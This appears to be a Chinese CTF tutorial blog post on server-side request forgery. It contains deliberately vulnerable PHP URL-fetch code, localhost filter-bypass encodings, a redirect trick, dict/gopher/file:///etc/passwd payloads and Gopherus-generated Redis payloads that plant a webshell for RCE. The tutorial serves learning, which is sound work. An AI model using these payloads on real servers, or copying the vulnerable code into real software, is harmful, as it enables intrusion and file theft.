CTF ssrf 基础入门 (一)

0x01 引言

我发现我其实并不是很明白这个东西,有些微妙,而且记忆中也就记得Gopherus这个工具了,所以重新学习了一下,顺便记录一下吧

0x02 辨别

我们拿到一个题目,他的名字可能就是题目类型,但是也有可能是个note或者是blog等等网站,那么下面讲一些常见的后端响应

file_get_contents

这个函数非常常见
用于读取文件

file_get_contents(string $filename, bool $use_include_path = false, resource $context = null, int $offset = 0, int $maxlen = -1)$filename: 必需参数,指定要读取的文件路径。
$use_include_path: 可选参数,默认为 false。如果设为 true,则会在 PHP 的 include 路径中搜索文件。
$context: 可选参数,是一个资源类型,通常用于指定文件句柄的上下文。例如,可以用来设置 HTTP 请求头(当读取远程文件时)。
$offset: 可选参数,指定从文件的哪个字节开始读取。
$maxlen: 可选参数,指定要读取的最大字节数。默认为 -1,表示读取到文件末尾

fsockopen()

这个东西就和python中的socket一样

fsockopen(string $hostname, int $port = -1, int &$errno = null, string &$errstr = null, float $timeout = ini_get("default_socket_timeout"))$hostname: 必需,指定要连接的主机名或 IP 地址。
$port: 可选,默认为 -1。指定要连接的端口号。
$errno: 可选,输出变量,用于存储发生错误时的错误号。
$errstr: 可选,输出变量,用于存储发生错误时的错误信息。
$timeout: 可选,默认使用 PHP 配置中的默认超时设置(default_socket_timeout)。指定连接超时时间(秒)。
<?php
$a=fsockopen('ip',port);
if($a){echo 1;
}else {echo 0;
}
?>

直接就弹shell还是行

curl_exec()

成功时,返回执行请求后得到的数据,通常是服务器响应的内容,格式依据请求和响应(如 HTML、JSON、图像数据等)。 失败时,返回
false。可以通过 curl_error() 获取错误信息。

怎么说呢相当于一个体系中的一个环节?然后返回响应,curl http://ceye

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);  
curl_setopt($ch, CURLOPT_HEADER, 0);  //不要header值
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//返回数据为字符串
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>POST:
url=http://127.0.0.1/flag.php

在这里顺便说说curl_setopt

curl_setopt(resource $ch, int $option, mixed $value)
$ch: 必需,由 curl_init 返回的 cURL 会话资源。
$option: 必需,要设置的选项常量。这些常量通常以 CURLOPT_ 开头,例如 CURLOPT_URL、CURLOPT_RETURNTRANSFER 等。
$value: 必需,要赋予选项的值。这个值的类型取决于所设置的选项。很有可能是个布尔值 ,1||0

0x03 绕过

前面看那几个函数看出来之后基本上就是技巧了

0x01 思路

首先思路要立正,我们是根据ssrf的漏洞去带出文件内容
所以我们传参肯定是传路径,并且是本地

0x02 本地

127.0.0.1
localhost
0
0.0.0.0
127.0.0
127。0。0。1
127\.0\.0\.1
127.1
sudo.cc      
0x7F000001		16进制
2130706433		十进制
0x7f.0.0.1          16进制
0177.0.0.1         八进制
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

0x03 vps

当本地在后端响应已经被过滤完之后,我们还可以用vps进行远程

demo

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);//gethostbyname这个函数根据域名返回IP
echo '</br>'.$ip.'</br>';//将获得的IP显示在网页
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {     //看ip是否为公网IPdie('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?> 

利用header函数写一个文件

<?php header("Location:http://127.0.0.1/flag.php")?>

然后传参

POST:
url=http://ip/文件名

0x04 parse_url

<?php
var_dump(parse_url('https://www.example.com:8080/path/to/resource/index.html?key1=value1&key2=value2#section2'));
?>
这就是一个完整的urlarray(6) {["scheme"]=>string(5) "https"["host"]=>string(15) "www.example.com"["port"]=>int(8080)["path"]=>string(28) "/path/to/resource/index.html"["query"]=>string(23) "key1=value1&key2=value2"["fragment"]=>string(8) "section2"
}

这个函数非常便于我们去尝试出正确的能绕过的url

URL 中的 @ 符号在标准的 URL 格式中具有特殊含义,它用于分隔用户名(可选)和主机名。当 @ 出现在用户名和密码之后、主机名之前时,它用于指定访问资源时使用的身份验证凭据。例如:

http://ctf.@127.0.0.1/flag.php?showarray(5) {["scheme"]=>string(4) "http"["host"]=>string(9) "127.0.0.1"["user"]=>string(4) "ctf."["path"]=>string(9) "/flag.php"["query"]=>string(4) "show"
}

0x04 协议

Dict 协议dict://fuzz.wuyun.org:8080/helo:dict
Gopher 协议gopher://fuzz.wuyun.org:8080/gopher
File 协议file:///etc/passwd

有这三种,但是我还没用过,所以暂时不分享了
不过我不知道Gopherus这个工具算不算协议
gopherus
去下载之后,配置就不说了,我记得好像是go语言的环境
下载完就是大概这个东西
在这里插入图片描述

然后使用方法也很简单
在这里插入图片描述
mysql的

在这里插入图片描述
然后传参去RCE
Redis的
在这里插入图片描述

默认生成/var/www/html/shell.php
密码是自己写的1,然后RCE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/385856.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java小抄|Java中的List与Map转换

文章目录 1 List<User> 转Map<User.id,User>2 基础类型的转换&#xff1a;List < Long> 转 Map<Long,Long> 1 List 转Map<User.id,User> Map<Long, User> userMap userList.stream().collect(Collectors.toMap(User::getId, v -> v, …

一个优秀的团队里,往往都有这几种人

“独木不成林&#xff0c;单弦难成曲”&#xff0c;一个优秀的团队&#xff0c;需要团队成员之间形成紧密的合作关系&#xff0c;充分发挥各自的优势和特长时&#xff0c;在各自的岗位发光发热&#xff0c;共同推动团队不断向前发展。一个优秀的团队中不可或缺的几个关键角色&a…

视觉SLAM第二讲

SLAM分为定位和建图两个问题。 定位问题 定位问题是通过传感器观测数据直接或间接求解位置和姿态。 通常可以分为两类&#xff1a;基于已知地图的定位和基于未知地图的定位。 基于已知地图的定位 利用预先构建的地图&#xff0c;结合传感器数据进行全局定位。SLAM中的全局…

【计算机网络原理】网络层IP协议的总结和数据链路层以太网协议的总结.

˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好&#xff0c;我是xiaoxie.希望你看完之后,有不足之处请多多谅解&#xff0c;让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN 如…

Oat++ 后端实现跨域

这里记录在官方的例子中&#xff0c;加入跨域。Oat Example-CRUD 在官方的例子中&#xff0c;加入跨域。 Oat Example-CRUD 修改AppComponent.hpp文件中的代码&#xff0c;如下&#xff1a; #include "AppComponent.hpp"#include "controller/UserController…

服务器数据恢复—raid信息丢失导致RAID无法被识别的数据恢复案例

服务器数据恢复环境&故障&#xff1a; 某单位机房搬迁&#xff0c;将所有服务器和存储搬迁到新机房并重新连接线路&#xff0c;启动所有机器发现其中有一台服务器无法识别RAID&#xff0c;提示未做初始化操作。 发生故障的这台服务器安装LINUX操作系统&#xff0c;配置了NF…

【虚拟化】KVM概念和架构

目录 一、什么是KVM&#xff1f; 二、KVM的功能 2.1 主要的功能 2.2 其它功能 三、KVM核心组件及作用 四、KVM与VMware的优势 五、KVM架构 六、qemu介绍 七、创建虚拟机流程 一、什么是KVM&#xff1f; Kernel-based Virtual Machine的简称&#xff0c;KVM 是基于虚拟…

数字看板:跨行业需求下的创新与升级

在当今这个数据驱动的时代&#xff0c;数字看板作为信息展示与决策支持的重要工具&#xff0c;正逐步渗透到各行各业之中。从智慧城市到智能制造&#xff0c;从金融分析到医疗健康&#xff0c;数字看板以其直观、动态、高效的特点&#xff0c;成为了连接数据与决策者的桥梁。本…

代码的魔力:Jupyter Notebook从零开始的探索之旅

1. Jupyter Notebook&#xff1a;探索无限的可能 1.1 Jupyter Notebook的简介 Jupyter Notebook是一个开源的Web应用程序&#xff0c;让你能够创建和共享文档&#xff0c;这些文档可以包含实时代码、数学方程、可视化以及叙述性文本。其名字来源于它支持的三种核心编程语言&am…

【Linux】-----工具篇(自动化构建工具make/makefile)

目录 前言 一、是什么&#xff1f; 二、怎么样的&#xff1f; 三、原理及细节 图解代码 细节1&#xff1a;make工作规则 ①依赖文件存在 ②依赖文件不存在 ③依赖文件列表为空(特殊) .PHONY关键字 细节2&#xff1a;makefile识别程序需要重新编译&#xff1f; 四、…

【PyTorch】基于YOLO的多目标检测项目(二)

【PyTorch】基于YOLO的多目标检测项目&#xff08;一&#xff09; 【PyTorch】基于YOLO的多目标检测项目&#xff08;二&#xff09; YOLO-v3网络由跨距为2的卷积层、跳跃连接层和上采样层组成&#xff0c;没有池化层。网络接收一幅416 * 416的图像作为输入&#xff0c;并提供三…

pytest 测试框架中 setup、teardown 方法不生效

pytest 测试框架中 setup、teardown 方法不生效 源码有改动&#xff1a; 将 setup、teardown改为&#xff1a;setup_method、teardown_method 可生效 def setup_method(self):print("测试用例执行前的初始化,如&#xff1a;打开浏览器,加载网页...")def setup_class…

动手学深度学习V2每日笔记(模型选择+过拟合和欠拟合)

本文主要参考沐神的视频教程 https://www.bilibili.com/video/BV1K64y1Q7wu/?spm_id_from333.788.recommend_more_video.0&vd_sourcec7bfc6ce0ea0cbe43aa288ba2713e56d 文档教程 https://zh-v2.d2l.ai/ 本文的主要内容对沐神提供的代码中个人不太理解的内容进行笔记记录&a…

算法日记day 20(中序后序遍历序列构造二叉树|最大、合并、搜索二叉树)

一、中序后序序列构造二叉树 题目&#xff1a; 给定两个整数数组 inorder 和 postorder &#xff0c;其中 inorder 是二叉树的中序遍历&#xff0c; postorder 是同一棵树的后序遍历&#xff0c;请你构造并返回这颗 二叉树 。 示例 1: 输入&#xff1a;inorder [9,3,15,20,…

自定义 RAG 工作流:在 IDE 中结合 RAG 编排,构建可信的编码智能体

构建编码智能体并非一件容易的事。结合我们在 AutoDev、ArchGuard Co-mate、ChocoBuilder 等智能体项目的经验&#xff0c;我们开始思考在 Shire 语言中提供一种新的 RAG 工作流。结合我们先前构建的 IDE 基础设施&#xff08;代码生成、代码校验、代码执行等接口&#xff09;&…

Linux下普通用户无法执行sudo指令

当执行sudo指令时出现&#xff1a; xxx&#xff08;普通用户名字&#xff09; is not in the sudoers file 说明在/etc/sudoers文件中没有把xxx加入到可执行sudo指令的名单中&#xff0c;因此需要修改sudoers文件。 解决方法&#xff1a;1、vim /etc/sudoers &#xff08;要…

idea启动项目报:the command line via JAR manifest or via a classpath file and rerun.

解决方案 1.打开Edit Configurations&#xff0c;进去编辑&#xff0c;如下&#xff1a; 笔记配置 2.选择Modfiy options,点击Shorten command line 3.在新增的Shorten command line选项中选择JAR manifest或classpath file 4.点击保存后即可

redis构建集群时,一直Waiting for the cluster to join

redis构建集群时&#xff0c;一直Waiting for the cluster to join 前置条件参考 前置条件 这是我搭建的集群相关信息&#xff0c;三台虚拟机&#xff0c;分别是一主一从。在将所有虚拟机中redis服务器用到的tcp端口都打开之后&#xff0c;进行构建集群。但是出现上面的情况。 …

RK平台瑞发科NS6601 MIPI CSI VC虚拟通道支持不同分辨率

需求&#xff1a;两路不同分辨率的摄像头&#xff0c;通过des后输入给一路MIPI CSI。在capture的时候&#xff0c;可以分别支持不同分辨率的capture动作。 设备树 &i2c2 {status "okay";pinctrl-names "default";pinctrl-0 <&i2c2m4_xfer&g…

快速介绍git(Linux)

git 1、安装2、版本控制3、git vs gitee&&GitHub(git故事)4、git的操作 1、安装 很简单&#xff0c;直接 sudo yum install -y git2、版本控制 故事介绍&#xff1a;你是一个大学生&#xff0c;你上课需要交一分实验报告&#xff0c;教你的老师比较负责&#xff0c;…